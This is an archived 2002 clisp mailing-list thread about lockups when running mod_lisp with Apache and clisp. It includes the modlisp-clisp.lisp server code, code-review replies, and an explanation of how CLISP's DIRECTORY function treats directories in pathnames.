else has isolated lockups that they have been having with mod_lisp. I'm
the third person that has experienced lockups with clisp and mod_lisp. I
also concur that they do not happen with cmucl:

http://groups.google.co.nz/groups?hl=en&lr=&ie=UTF-8&threadm=6b4aa54a.0206060137.3739b9a4%40posting.google.com&rnum=1&prev=/groups%3Fselm%3D6b4aa54a.0206060137.3739b9a4%2540posting.google.com

mod_lisp is a little Apache module that allows you to serve content
using clisp and still leave Apache to serve other content reliably and
at high speed (after all it's Apache).

I've found that the lockups can be avoided by creating a new socket each
time. But this induces very strange behaviour where the page is served
to Mozilla every second time (zero content is returned every other
time). This is where I'm up to on the Debian bug database:

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=152742

The bug is either in clisp (unlikely), mod_lisp.c or modlisp-clisp.lisp.
The content of
http://www.fractalconcept.com/fcweb/download/modlisp-clisp.lisp.gz
is listed below. Since the wrong MIME type is set on the web site it's
not easy to view without downloading and gunzipping it.

Thanks for any help. mod_lisp+clisp is just not popular enough for the
clisp problem to have been found and fixed by someone who understands
interfacing with Apache.

If you want to try mod_lisp+clisp out and are stuck then post your
question here and I should be able to answer it. The meta install
process is:

(1) make sure you have the mod_lisp.so module installed. If you have the
(Debian) apache-dev tools compiling the modules is as easy as typing
"apxs -c mod_lisp.c" and placing mod_lisp.so in /usr/lib/apache/1.3/

(2) Add a LoadModule line into httpd.conf under the current LoadModule
lines:

LoadModule lisp_module /usr/lib/apache/1.3/mod_lisp.so

(3) Make sure at least some content is going to be served by the module.
For example add this to the end of httpd.conf:

<IfModule mod_lisp.c>
  LispServer  127.0.0.1 3000 "test"
    <Location /modlisp>
      SetHandler lisp-handler
    </Location>
</IfModule>

(4) Restart apache (e.g. "/etc/init.d/apache restart")

(5) load modlisp-clisp.lisp into clisp:

(load "modlisp-clisp.lisp")

(6) and run the server:

(modlisp:modlisp-server)


If you try and access http://<server root>/modlisp/fixed you should then
see a table of key values. If you repeat long enough you might get a
lockup. wget seems very good at inducing lockups/timeouts.

Type CTRL-C to break the running clisp program.

modlisp/fixed is the default path to serve the key values (refer
modlisp-clisp.lisp code below)

Regards,
Adam




;;; -*- Mode:Lisp; Syntax:Common-lisp; Package:MODLISP; Base:10 -*-

;; modlisp-clisp.lisp
;; adapted from modlisp-acl.lisp

;; Original CLISP adaption by Rachel Richard <rr@u.washington.edu>
;; Changes by Nils Kassube <nika@kassube.de> on 2001-11-24:
;;
;; - replaced :lisp by :ext for CLISP's new naming convention,
;;   works now with recent CLISP distributions
;; - added modlisp-server to the :export line 

(in-package :user)

(provide :modlisp)

(eval-when (compile load eval)
  (defpackage :modlisp
    (:nicknames :lph)
    (:use :cl)
    (:export modlisp-server)
    ))

(in-package :modlisp)

;;;;;
;;;
;;; First part adapted from server.cl
;;;
;;;;;

(defvar *server-count* 0)	; used to name servers

(defun make-socket-server (&key (name (format nil "socket server ~d "
					      (incf *server-count*)))
				port 
				function 
				wait 
				(format :text))
  ;;
  ;; create a server process with the given name, listening on the
  ;; given port, running the given function on each connection that
  ;; comes in, and possibly waiting for that function's completion before
  ;; accepting a new connection.
  ;;
  ;; name - a string naming the server process -- if nil, then this 
  ;;	function will create a name.
  ;; port - if nil then an internet domain port number will be chosen
  ;;	    by the operating system.   If a number is given then that
  ;;	    port will be used (or an error will be signalled if it
  ;;	    is already in use).    If port is a string then a unix
  ;;	    domain port will be used.  (this will not work on Windows).
  ;; function - the function to run when a connection is made.  This
  ;;	    function must take one argument which is the stream used
  ;;	    used for reading from and writing to the process that connected
  ;;	    to this socket. 
  ;; wait - if true, then the function will be run in the server process
  ;;	    and thus the server won't accept a new connection until
  ;;	    the function finishes.
  ;; format  - :text (the default) or :binary.   This determes what kind
  ;;	    of data can sent to and read from the socket stream.
  ;;	    
  ;;
  ;;
  ;; The return value is the port number on which the server is
  ;;	listening.
  ;;
  (let ((passive-socket (ext:socket-server port) ;

))
	
	(start-socket-server passive-socket
			     :function function
			     :wait wait)
(ext:socket-server-port passive-socket)))

(defun start-socket-server (passive-socket &key function wait)
  ;; internal function run in the server lightweight process 
  ;; that continually processes the connection.
  ;; This code is careful to ensure that the sockets are 
  ;; properly closed something abnormal happens.
  (unwind-protect
      (loop (let ((connection  (ext:socket-accept passive-socket)))
	      (if wait
		 (progn 
		   (unwind-protect
			  (funcall function connection)
			  (handler-case (values-list (cons t
							   (multiple-value-list
							    (close connection))))
					(error (condition) (declare (ignore-if-unused condition))
					       nil))))


			   (unwind-protect
			       (funcall function connection)
			    	  (handler-case (values-list (cons t
							   (multiple-value-list
							    (close connection))))
					(error (condition) (declare (ignore-if-unused condition))
					       nil)))

		 )))
   
    	  (handler-case (values-list (cons t
							   (multiple-value-list
							    (close passive-socket))))
					(error (condition) (declare (ignore-if-unused condition))
					       nil))))


;;;;;
;;;
;;; Second part adapted from mod-lisp.lisp
;;;
;;;;;

(defconstant +apache-port+ 3000)
(defvar *apache-socket* nil) ;the socket to apache
(defvar *close-apache-socket* nil) ;set to t if you want to close the socket to apache
(defvar *apache-nb-use-socket* 0) ;the number of requests sent in this socket

(defun modlisp-server (&optional (port +apache-port+))
  
  (make-socket-server :name "test"
		      :port port
		      :function 'apache-listen))

(defun apache-listen (*apache-socket*)
   (let ((*close-apache-socket* t))
    (unwind-protect
	(loop for *apache-nb-use-socket* from 0
	    for command = (get-apache-command)
	    while command 
	    do (process-apache-command command)
	  (force-output *apache-socket*)
	    until *close-apache-socket*)
      (close *apache-socket*))))

(defun get-apache-command ()
  (ignore-errors
   (let* ((header (loop for key = (read-line *apache-socket* nil nil)
		    while (and key (string-not-equal key "end")) 	
		    collect (cons key (read-line *apache-socket* nil nil)) )))
     (let* ((content-length (cdr (assoc "content-length" header :test #'equal)))
	  (content (when content-length (make-string (parse-integer content-length :junk-allowed t)))))

     (when content
       (read-sequence content *apache-socket*)
       (push (cons "posted-content" content) header))
     header))))
				
(defun process-apache-command (command)
  (let ((html (if (equal (cdr (assoc "url" command :test #'string=)) 
			 "/modlisp/fixed")
		  (debug-table command)
		(fixed-html))))
    (write-header-line "Status" "200 OK")
    (write-header-line "Content-Type" "text/html")
    (write-header-line "Content-Length" (format nil "~d" (length html)))
    (write-header-line "Keep-Socket" "1")
    (write-string "end" *apache-socket*)
    (write-char #\NewLine *apache-socket*)
    (write-string html *apache-socket*)
    (setf *close-apache-socket* nil)))

(defun debug-table (command)
  (with-output-to-string (s)
   (write-string "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML//EN\">
<HTML><HEAD></HEAD><BODY><TABLE bgcolor=\"#c0c0c0\">
<TR bgcolor=\"yellow\"><TH COLSPAN=2>CLISP + mod_lisp 2.0 + apache + Linux</TH></TR>
<TR bgcolor=\"yellow\"><TH>Key</TH><TH>Value</TH></TR>" s)
   (format s "<TR bgcolor=\"#F0F0c0\"><TD>apache-nb-use-socket</TD><TD>~a</TD></TR>"  *apache-nb-use-socket*)
   (loop for (key . value) in command do
	 (format s "<TR bgcolor=\"#F0F0c0\"><TD>~a</TD><TD>~a</TD></TR>" key value))
   (write-string "</TABLE></BODY></HTML>" s)))


(defun fixed-html ()
  "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML//EN\">
<HTML><HEAD></HEAD><BODY><H1>mod_lisp 2.0</H1><P>This is a constant
  html string sent by mod_lisp 2.0 + CLISP + apache + Linux</P>
</BODY></HTML>")

(defun write-header-line (key value)
  (write-string key *apache-socket*)
  (write-char #\NewLine *apache-socket*)
  (write-string value *apache-socket*)
  (write-char #\NewLine *apache-socket*))




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I've been seeing similar problems here. The fast way to make mod_lisp
"lock up" is to access a page under /modlisp that doesn't exist, for
instance; http://localhost/modlisp/foobar . At least this does it for
me. Once I access /modlisp/foobar, I can't access /modlisp/fixed .

I may adapt bits of modlisp-clisp.lisp to the socket server in clocc and
see if I get the same problems.

Like you, I'm not convinced that this is a clisp bug but I haven't done
much research into it yet.

J*
----------------------------------------------

On 13 Jul 2002, Adam Warner wrote:

> Hi all,
> 
> Marc Battyani suggested I ask the clisp mailing list to see if anyone
> else has isolated lockups that they have been having with mod_lisp. I'm
> the third person that has experienced lockups with clisp and mod_lisp. I
> also concur that they do not happen with cmucl:
> 
> http://groups.google.co.nz/groups?hl=en&lr=&ie=UTF-8&threadm=6b4aa54a.0206060137.3739b9a4%40posting.google.com&rnum=1&prev=/groups%3Fselm%3D6b4aa54a.0206060137.3739b9a4%2540posting.google.com
> 
> mod_lisp is a little Apache module that allows you to serve content
> using clisp and still leave Apache to serve other content reliably and
> at high speed (after all it's Apache).
> 
> I've found that the lockups can be avoided by creating a new socket each
> time. But this induces very strange behaviour where the page is served
> to Mozilla every second time (zero content is returned every other
> time). This is where I'm up to on the Debian bug database:
> 
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=152742
> 
> The bug is either in clisp (unlikely), mod_lisp.c or modlisp-clisp.lisp.
> The content of
> http://www.fractalconcept.com/fcweb/download/modlisp-clisp.lisp.gz
> is listed below. Since the wrong MIME type is set on the web site it's
> not easy to view without downloading and gunzipping it.
> 
> Thanks for any help. mod_lisp+clisp is just not popular enough for the
> clisp problem to have been found and fixed by someone who understands
> interfacing with Apache.
> 
> If you want to try mod_lisp+clisp out and are stuck then post your
> question here and I should be able to answer it. The meta install
> process is:
> 
> (1) make sure you have the mod_lisp.so module installed. If you have the
> (Debian) apache-dev tools compiling the modules is as easy as typing
> "apxs -c mod_lisp.c" and placing mod_lisp.so in /usr/lib/apache/1.3/
> 
> (2) Add a LoadModule line into httpd.conf under the current LoadModule
> lines:
> 
> LoadModule lisp_module /usr/lib/apache/1.3/mod_lisp.so
> 
> (3) Make sure at least some content is going to be served by the module.
> For example add this to the end of httpd.conf:
> 
> <IfModule mod_lisp.c>
>   LispServer  127.0.0.1 3000 "test"
>     <Location /modlisp>
>       SetHandler lisp-handler
>     </Location>
> </IfModule>
> 
> (4) Restart apache (e.g. "/etc/init.d/apache restart")
> 
> (5) load modlisp-clisp.lisp into clisp:
> 
> (load "modlisp-clisp.lisp")
> 
> (6) and run the server:
> 
> (modlisp:modlisp-server)
> 
> 
> If you try and access http://<server root>/modlisp/fixed you should then
> see a table of key values. If you repeat long enough you might get a
> lockup. wget seems very good at inducing lockups/timeouts.
> 
> Type CTRL-C to break the running clisp program.
> 
> modlisp/fixed is the default path to serve the key values (refer
> modlisp-clisp.lisp code below)
> 
> Regards,
> Adam
> 
> 
> 
> 
> ;;; -*- Mode:Lisp; Syntax:Common-lisp; Package:MODLISP; Base:10 -*-
> 
> ;; modlisp-clisp.lisp
> ;; adapted from modlisp-acl.lisp
> 
> ;; Original CLISP adaption by Rachel Richard <rr@u.washington.edu>
> ;; Changes by Nils Kassube <nika@kassube.de> on 2001-11-24:
> ;;
> ;; - replaced :lisp by :ext for CLISP's new naming convention,
> ;;   works now with recent CLISP distributions
> ;; - added modlisp-server to the :export line 
> 
> (in-package :user)
> 
> (provide :modlisp)
> 
> (eval-when (compile load eval)
>   (defpackage :modlisp
>     (:nicknames :lph)
>     (:use :cl)
>     (:export modlisp-server)
>     ))
> 
> (in-package :modlisp)
> 
> ;;;;;
> ;;;
> ;;; First part adapted from server.cl
> ;;;
> ;;;;;
> 
> (defvar *server-count* 0)	; used to name servers
> 
> (defun make-socket-server (&key (name (format nil "socket server ~d "
> 					      (incf *server-count*)))
> 				port 
> 				function 
> 				wait 
> 				(format :text))
>   ;;
>   ;; create a server process with the given name, listening on the
>   ;; given port, running the given function on each connection that
>   ;; comes in, and possibly waiting for that function's completion before
>   ;; accepting a new connection.
>   ;;
>   ;; name - a string naming the server process -- if nil, then this 
>   ;;	function will create a name.
>   ;; port - if nil then an internet domain port number will be chosen
>   ;;	    by the operating system.   If a number is given then that
>   ;;	    port will be used (or an error will be signalled if it
>   ;;	    is already in use).    If port is a string then a unix
>   ;;	    domain port will be used.  (this will not work on Windows).
>   ;; function - the function to run when a connection is made.  This
>   ;;	    function must take one argument which is the stream used
>   ;;	    used for reading from and writing to the process that connected
>   ;;	    to this socket. 
>   ;; wait - if true, then the function will be run in the server process
>   ;;	    and thus the server won't accept a new connection until
>   ;;	    the function finishes.
>   ;; format  - :text (the default) or :binary.   This determes what kind
>   ;;	    of data can sent to and read from the socket stream.
>   ;;	    
>   ;;
>   ;;
>   ;; The return value is the port number on which the server is
>   ;;	listening.
>   ;;
>   (let ((passive-socket (ext:socket-server port) ;
> 
> ))
> 	
> 	(start-socket-server passive-socket
> 			     :function function
> 			     :wait wait)
> (ext:socket-server-port passive-socket)))
> 
> (defun start-socket-server (passive-socket &key function wait)
>   ;; internal function run in the server lightweight process 
>   ;; that continually processes the connection.
>   ;; This code is careful to ensure that the sockets are 
>   ;; properly closed something abnormal happens.
>   (unwind-protect
>       (loop (let ((connection  (ext:socket-accept passive-socket)))
> 	      (if wait
> 		 (progn 
> 		   (unwind-protect
> 			  (funcall function connection)
> 			  (handler-case (values-list (cons t
> 							   (multiple-value-list
> 							    (close connection))))
> 					(error (condition) (declare (ignore-if-unused condition))
> 					       nil))))
> 
> 
> 			   (unwind-protect
> 			       (funcall function connection)
> 			    	  (handler-case (values-list (cons t
> 							   (multiple-value-list
> 							    (close connection))))
> 					(error (condition) (declare (ignore-if-unused condition))
> 					       nil)))
> 
> 		 )))
>    
>     	  (handler-case (values-list (cons t
> 							   (multiple-value-list
> 							    (close passive-socket))))
> 					(error (condition) (declare (ignore-if-unused condition))
> 					       nil))))
> 
> 
> ;;;;;
> ;;;
> ;;; Second part adapted from mod-lisp.lisp
> ;;;
> ;;;;;
> 
> (defconstant +apache-port+ 3000)
> (defvar *apache-socket* nil) ;the socket to apache
> (defvar *close-apache-socket* nil) ;set to t if you want to close the socket to apache
> (defvar *apache-nb-use-socket* 0) ;the number of requests sent in this socket
> 
> (defun modlisp-server (&optional (port +apache-port+))
>   
>   (make-socket-server :name "test"
> 		      :port port
> 		      :function 'apache-listen))
> 
> (defun apache-listen (*apache-socket*)
>    (let ((*close-apache-socket* t))
>     (unwind-protect
> 	(loop for *apache-nb-use-socket* from 0
> 	    for command = (get-apache-command)
> 	    while command 
> 	    do (process-apache-command command)
> 	  (force-output *apache-socket*)
> 	    until *close-apache-socket*)
>       (close *apache-socket*))))
> 
> (defun get-apache-command ()
>   (ignore-errors
>    (let* ((header (loop for key = (read-line *apache-socket* nil nil)
> 		    while (and key (string-not-equal key "end")) 	
> 		    collect (cons key (read-line *apache-socket* nil nil)) )))
>      (let* ((content-length (cdr (assoc "content-length" header :test #'equal)))
> 	  (content (when content-length (make-string (parse-integer content-length :junk-allowed t)))))
> 
>      (when content
>        (read-sequence content *apache-socket*)
>        (push (cons "posted-content" content) header))
>      header))))
> 				
> (defun process-apache-command (command)
>   (let ((html (if (equal (cdr (assoc "url" command :test #'string=)) 
> 			 "/modlisp/fixed")
> 		  (debug-table command)
> 		(fixed-html))))
>     (write-header-line "Status" "200 OK")
>     (write-header-line "Content-Type" "text/html")
>     (write-header-line "Content-Length" (format nil "~d" (length html)))
>     (write-header-line "Keep-Socket" "1")
>     (write-string "end" *apache-socket*)
>     (write-char #\NewLine *apache-socket*)
>     (write-string html *apache-socket*)
>     (setf *close-apache-socket* nil)))
> 
> (defun debug-table (command)
>   (with-output-to-string (s)
>    (write-string "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML//EN\">
> <HTML><HEAD></HEAD><BODY><TABLE bgcolor=\"#c0c0c0\">
> <TR bgcolor=\"yellow\"><TH COLSPAN=2>CLISP + mod_lisp 2.0 + apache + Linux</TH></TR>
> <TR bgcolor=\"yellow\"><TH>Key</TH><TH>Value</TH></TR>" s)
>    (format s "<TR bgcolor=\"#F0F0c0\"><TD>apache-nb-use-socket</TD><TD>~a</TD></TR>"  *apache-nb-use-socket*)
>    (loop for (key . value) in command do
> 	 (format s "<TR bgcolor=\"#F0F0c0\"><TD>~a</TD><TD>~a</TD></TR>" key value))
>    (write-string "</TABLE></BODY></HTML>" s)))
> 
> 
> (defun fixed-html ()
>   "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML//EN\">
> <HTML><HEAD></HEAD><BODY><H1>mod_lisp 2.0</H1><P>This is a constant
>   html string sent by mod_lisp 2.0 + CLISP + apache + Linux</P>
> </BODY></HTML>")
> 
> (defun write-header-line (key value)
>   (write-string key *apache-socket*)
>   (write-char #\NewLine *apache-socket*)
>   (write-string value *apache-socket*)
>   (write-char #\NewLine *apache-socket*))
> 
> 
> 
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On Sun, 2002-07-14 at 02:22, John Jorgensen wrote:
> I've been seeing similar problems here. The fast way to make mod_lisp
> "lock up" is to access a page under /modlisp that doesn't exist, for
> instance; http://localhost/modlisp/foobar . At least this does it for
> me. Once I access /modlisp/foobar, I can't access /modlisp/fixed .
> 
> I may adapt bits of modlisp-clisp.lisp to the socket server in clocc and
> see if I get the same problems.
> 
> Like you, I'm not convinced that this is a clisp bug but I haven't done
> much research into it yet.

BTW just another idea: mod_lisp can be used as a drop in replacement for
(libapache-)mod-webapp from http://alpha.onshored.com/lisp-software/.
Thus it appears mod-webapp provides similar functionality to mod_lisp
and could be used to determine whether the mod_lisp apache module is the
cause of the problem.

The downside is that libapache-mod-webapp integrates with cl-imho and
cl-imho only runs on cmucl to date. So there is no clisp specific code
to test/use. And the configuration directives are different (and I
haven't managed to get them to work--but I'm out of my depth):
http://freesw.onshored.com/wwwdist/imho/doc/mod-webapp.html

Regards,
Adam



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[note: this was originally posted to clisp-dev via sourceforge's bug
tracker. it's something i took a while to figure out so i figured i'd
share what i found out with CLISP's users.]

> Hi,
> there seems to be no way to get a listing of *all*
> files (which should include directories???) in a
> directory, like I would expect 
> (directory "/") or (directory "/*") to return something
> like
> '("/usr" "/bin" ...)
> 
> [149]> (lisp-implementation-version)
> "2.28 (released 2002-03-03) (built 3232861331) (memory
> 3235285635)"
> [150]> (directory "/")
> (#P"/")
> [151]> (directory "/*")
> (#P"/.journal" #P"/.autofsck" #P"/System.old"
> #P"/vmlinuz.old" #P"/System.map" #P"/vmlinuz"
> #P"/.bash_history")
> [152]> 
> 
> regs,
> Frank.

directory is not a directory listing function, ie it is not ls nor
readdir. it could be called find-me-the-pathnames-which-match-this-one.

The description of #'directory in the HyperSpec reads:

    Determines which, if any, files that are present in the file
  system have names MATCHING PATHSPEC, and returns a fresh list of
  pathnames corresponding to the truenames of those files.

[upcase mine]

with the following note:

    If the pathspec is not wild, the resulting list will contain
  either zero or one elements.

Then there's this taken from src/pathname.d:

# UP: Returns a list of all matching pathnames.
# directory_search(pathname)
# > pathname: pathname with device /= :WILD
#ifdef UNIX
# > STACK_1: Circle-Flag
#endif
# > STACK_0: Full-Flag
# < result:
#     if name=NIL and type=NIL:     list of all matching directories,
#     else (name=NIL -> name=:WILD):  list of all matching files.
#     as absolute pathname without wildcards at a time,

directory_search is used by #'directory to do the actual work.

so basically if we want directories we can't specify a name and a type
part in the pathname, but there's a gotcha: how do we ask for
directories who's names are wild if by specifying a wild name we get
only files? what we need to do is specify a wild not in the name slot,
but in the directory slot.

here's me playing around with directory and make-pathname:

;; just to show what's in the current directory 
[1]> (run-program "ls" :arguments '("-F" "/Users/marco/t"))
onis-0.3.3/
onis-0.3.3.tar
onis-0.3.3.tar.gz
posix.tar.gz
0
;; we ask for all the pathnames with :name :wild and :directory
;; '(:absolute "Users" "marco" "t"). considering we've specified a non
;; wild directory this can only return files
[2]> (directory (make-pathname :directory '(:absolute "Users" "marco" "t") :name :wild))
(#P"/Users/marco/t/posix.tar.gz" #P"/Users/marco/t/onis-0.3.3.tar.gz" #P"/Users/marco/t/onis-0.3.3.tar")
;; we ask for all pathnames with a wild directory part and name and
;; type nil. because of how directory_search works this returns only
;; directories.
[3]> (directory (make-pathname :directory '(:absolute "Users" "marco" "t" "*")))
(#P"/Users/marco/t/onis-0.3.3/")
;; we now ask for for all the pathnames whose directory part contains
;; 4 elements, the last of which is wild and whose name is wild. what
;; get is all the files in the subdirectories of
;; /Users/marco/t. notice how does return the subdirectories
;; themselves or the files in the current directory.
[4]> (directory (make-pathname :directory '(:absolute "Users" "marco" "t" "*") :name "*"))
(#P"/Users/marco/t/onis-0.3.3/timestamp" #P"/Users/marco/t/onis-0.3.3/README" #P"/Users/marco/t/onis-0.3.3/onis"
 #P"/Users/marco/t/onis-0.3.3/html.pm" #P"/Users/marco/t/onis-0.3.3/COPYING" #P"/Users/marco/t/onis-0.3.3/Config.pm"
 #P"/Users/marco/t/onis-0.3.3/config" #P"/Users/marco/t/onis-0.3.3/CHANGELOG")
;; as a final example we ask for all the pathnames whoses directory
;; part contains 5 elements, the final two of which are wild.
[5]> (directory (make-pathname :directory '(:absolute "Users" "marco" "t" "*" "*")))
(#P"/Users/marco/t/onis-0.3.3/plugins/" #P"/Users/marco/t/onis-0.3.3/parser/" #P"/Users/marco/t/onis-0.3.3/images/")

the conclusion is that there is no way to get both files and
directories from a single call to #'directory. if we want all the
"files" (in the modern unix sense of the word) in "/foo" (ie 'ls
/foo') we do:

(append (directory (make-pathname :directory '(:absolute "foo") :name :wild))
        (directory (make-pathname :directory '(:absolute "foo" "*"))))

we can also see why this removes "." and ".." from the results
returned by directory. in the case of :directory '(:absolute "foo"
"*") the . directory is '(:absolute "foo") which having only 2
elements does not match the three element list '(:absolute "foo"
"*"). the .. directory has one less element than . (and so two
elements less than what we pass to #'directory) and so for the same
reason fails to match.

finally, what kind of namestring should we use if we want a wild
directory? to enfore name nil and type nil we need a trailing '/'.

[37]> (equal (parse-namestring "/*/") (make-pathname :directory '(:absolute "*")))
T

so the example above can be rewritten as:

(append (directory #P"/foo/*")
        (directory #P"/foo/*/"))

which is probably what you want.

-- 
-Marco
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Forget your perfect offering.
There is a crack in everything.
That's how the light gets in.
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> * In message <m2d6tr4q31.fsf@bese.it>
> * On the subject of "[clisp-list] Re: [ clisp-Bugs-580613 ] directory does not show directories"
> * Sent on 13 Jul 2002 17:14:58 +0200
> * Honorable Marco Baringer <empb@bese.it> writes:
>
> [note: this was originally posted to clisp-dev via sourceforge's bug
> tracker. it's something i took a while to figure out so i figured i'd
> share what i found out with CLISP's users.]

thanks for your message.
I hope I clarified the matters sufficiently in the implementation notes.
<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/~checkout~/clisp/clisp/doc/impnotes.html?content-type=text/html#dir>

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> * In message <1026549146.2319.44.camel@work>
> * On the subject of "[clisp-list] clisp, mod_lisp and lockups"
> * Sent on 13 Jul 2002 20:32:26 +1200
> * Honorable Adam Warner <lists@consulting.net.nz> writes:
>
> ;;; -*- Mode:Lisp; Syntax:Common-lisp; Package:MODLISP; Base:10 -*-
> 
> ;; modlisp-clisp.lisp
> ;; adapted from modlisp-acl.lisp
> 
> ;; Original CLISP adaption by Rachel Richard <rr@u.washington.edu>
> ;; Changes by Nils Kassube <nika@kassube.de> on 2001-11-24:
> ;;
> ;; - replaced :lisp by :ext for CLISP's new naming convention,
> ;;   works now with recent CLISP distributions
> ;; - added modlisp-server to the :export line 
> 
> (in-package :user)
> 
> (provide :modlisp)
> 
> (eval-when (compile load eval)
>   (defpackage :modlisp
>     (:nicknames :lph)
>     (:use :cl)
>     (:export modlisp-server)
>     ))

as per ANSI CL, DEFPACKAGE need NOT be enclosed in EVAL-WHEN.

> (in-package :modlisp)
> 
> ;;;;;
> ;;;
> ;;; First part adapted from server.cl
> ;;;
> ;;;;;
> 
> (defvar *server-count* 0)	; used to name servers
> 
> (defun make-socket-server (&key (name (format nil "socket server ~d "
> 					      (incf *server-count*)))
> 				port 
> 				function 
> 				wait 
> 				(format :text))
>   ;;
>   ;; create a server process with the given name, listening on the
>   ;; given port, running the given function on each connection that
>   ;; comes in, and possibly waiting for that function's completion before
>   ;; accepting a new connection.
>   ;;
>   ;; name - a string naming the server process -- if nil, then this 
>   ;;	function will create a name.
>   ;; port - if nil then an internet domain port number will be chosen
>   ;;	    by the operating system.   If a number is given then that
>   ;;	    port will be used (or an error will be signalled if it
>   ;;	    is already in use).    If port is a string then a unix
>   ;;	    domain port will be used.  (this will not work on Windows).
>   ;; function - the function to run when a connection is made.  This
>   ;;	    function must take one argument which is the stream used
>   ;;	    used for reading from and writing to the process that connected
>   ;;	    to this socket. 
>   ;; wait - if true, then the function will be run in the server process
>   ;;	    and thus the server won't accept a new connection until
>   ;;	    the function finishes.
>   ;; format  - :text (the default) or :binary.   This determes what kind
>   ;;	    of data can sent to and read from the socket stream.
>   ;;	    
>   ;;
>   ;;
>   ;; The return value is the port number on which the server is
>   ;;	listening.
>   ;;
>   (let ((passive-socket (ext:socket-server port) ;
> 
> ))
> 	
> 	(start-socket-server passive-socket
> 			     :function function
> 			     :wait wait)
> (ext:socket-server-port passive-socket)))
> 
> (defun start-socket-server (passive-socket &key function wait)
>   ;; internal function run in the server lightweight process 
>   ;; that continually processes the connection.
>   ;; This code is careful to ensure that the sockets are 
>   ;; properly closed something abnormal happens.
>   (unwind-protect
>       (loop (let ((connection  (ext:socket-accept passive-socket)))
> 	      (if wait

note that both clauses are almost identical.
the difference is what is being closed.
are you sure this is correct?

> 		 (progn 
> 		   (unwind-protect
> 			  (funcall function connection)
> 			  (handler-case (values-list (cons t
> 							   (multiple-value-list
> 							    (close connection))))
> 					(error (condition) (declare (ignore-if-unused condition))
> 					       nil))))

there is no declaration "ignore-if-unused", only IGNORE and IGNORABLE.
these HANDLER-CASE forms are equivalent to IGNORE-ERRORS.

in general, at least reporting error would have been _very_
enlightening!


> 
> 			   (unwind-protect
> 			       (funcall function connection)
> 			    	  (handler-case (values-list (cons t
> 							   (multiple-value-list
> 							    (close connection))))
> 					(error (condition) (declare (ignore-if-unused condition))
> 					       nil)))
> 
> 		 )))
>    
>     	  (handler-case (values-list (cons t
> 							   (multiple-value-list
> 							    (close passive-socket))))
> 					(error (condition) (declare (ignore-if-unused condition))
> 					       nil))))
> 

passive-socket is not a socket in CLISP, but a socket-server, so CLOSE
will barf on them.
use CLOSE-SOCKET-SERVER instead.

> ;;;;;
> ;;;
> ;;; Second part adapted from mod-lisp.lisp
> ;;;
> ;;;;;
> 
> (defconstant +apache-port+ 3000)
> (defvar *apache-socket* nil) ;the socket to apache
> (defvar *close-apache-socket* nil) ;set to t if you want to close the socket to apache
> (defvar *apache-nb-use-socket* 0) ;the number of requests sent in this socket
> 
> (defun modlisp-server (&optional (port +apache-port+))
>   
>   (make-socket-server :name "test"
> 		      :port port
> 		      :function 'apache-listen))
> 
> (defun apache-listen (*apache-socket*)
>    (let ((*close-apache-socket* t))
>     (unwind-protect
> 	(loop for *apache-nb-use-socket* from 0
> 	    for command = (get-apache-command)
> 	    while command 
> 	    do (process-apache-command command)
> 	  (force-output *apache-socket*)
> 	    until *close-apache-socket*)
>       (close *apache-socket*))))
> 
> (defun get-apache-command ()
>   (ignore-errors
>    (let* ((header (loop for key = (read-line *apache-socket* nil nil)
> 		    while (and key (string-not-equal key "end")) 	
> 		    collect (cons key (read-line *apache-socket* nil nil)) )))
>      (let* ((content-length (cdr (assoc "content-length" header :test #'equal)))
> 	  (content (when content-length (make-string (parse-integer content-length :junk-allowed t)))))
> 
>      (when content
>        (read-sequence content *apache-socket*)
>        (push (cons "posted-content" content) header))
>      header))))
> 				
> (defun process-apache-command (command)
>   (let ((html (if (equal (cdr (assoc "url" command :test #'string=)) 
> 			 "/modlisp/fixed")
> 		  (debug-table command)
> 		(fixed-html))))
>     (write-header-line "Status" "200 OK")
>     (write-header-line "Content-Type" "text/html")
>     (write-header-line "Content-Length" (format nil "~d" (length html)))
>     (write-header-line "Keep-Socket" "1")
>     (write-string "end" *apache-socket*)
>     (write-char #\NewLine *apache-socket*)
>     (write-string html *apache-socket*)
>     (setf *close-apache-socket* nil)))
> 
> (defun debug-table (command)
>   (with-output-to-string (s)
>    (write-string "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML//EN\">
> <HTML><HEAD></HEAD><BODY><TABLE bgcolor=\"#c0c0c0\">
> <TR bgcolor=\"yellow\"><TH COLSPAN=2>CLISP + mod_lisp 2.0 + apache + Linux</TH></TR>
> <TR bgcolor=\"yellow\"><TH>Key</TH><TH>Value</TH></TR>" s)
>    (format s "<TR bgcolor=\"#F0F0c0\"><TD>apache-nb-use-socket</TD><TD>~a</TD></TR>"  *apache-nb-use-socket*)
>    (loop for (key . value) in command do
> 	 (format s "<TR bgcolor=\"#F0F0c0\"><TD>~a</TD><TD>~a</TD></TR>" key value))
>    (write-string "</TABLE></BODY></HTML>" s)))
> 
> 
> (defun fixed-html ()
>   "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML//EN\">
> <HTML><HEAD></HEAD><BODY><H1>mod_lisp 2.0</H1><P>This is a constant
>   html string sent by mod_lisp 2.0 + CLISP + apache + Linux</P>
> </BODY></HTML>")
> 
> (defun write-header-line (key value)
>   (write-string key *apache-socket*)
>   (write-char #\NewLine *apache-socket*)

this is weird: I would have expected
    (write-string ": " *apache-socket*)
instead

>   (write-string value *apache-socket*)
>   (write-char #\NewLine *apache-socket*))

if you create a test case reproducible without apache, I can try to
debug it.

thanks!

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On Mon, 2002-07-15 at 06:19, Sam Steingold wrote:

> if you create a test case reproducible without apache, I can try to
> debug it.

Thanks for the offer of help Sam. I spent a while looking at how I would
go about attempting to create my own version of mod_lisp for Apache 2
and learned a lot about apache module development in the process. But in
the process I also realised that clisp is great for plain CGI
development!

Initial testing of using clisp as a CGI scripting language is
impressive. I can load a simple initialisation program, access the
environment variables within a shell and return the result to wget via
Apache 2.0.39 in 0.18s on a Pentium 166 with 64MB of RAM.

The initialisation file, init.lisp just contains:

(format t "Content-type: text/html~2%")
(princ "Hello from init.lisp")

And is compiled with "clisp -c init.lisp" and is placed in the document
root directory.

The CGI file contains:

#!/usr/bin/clisp
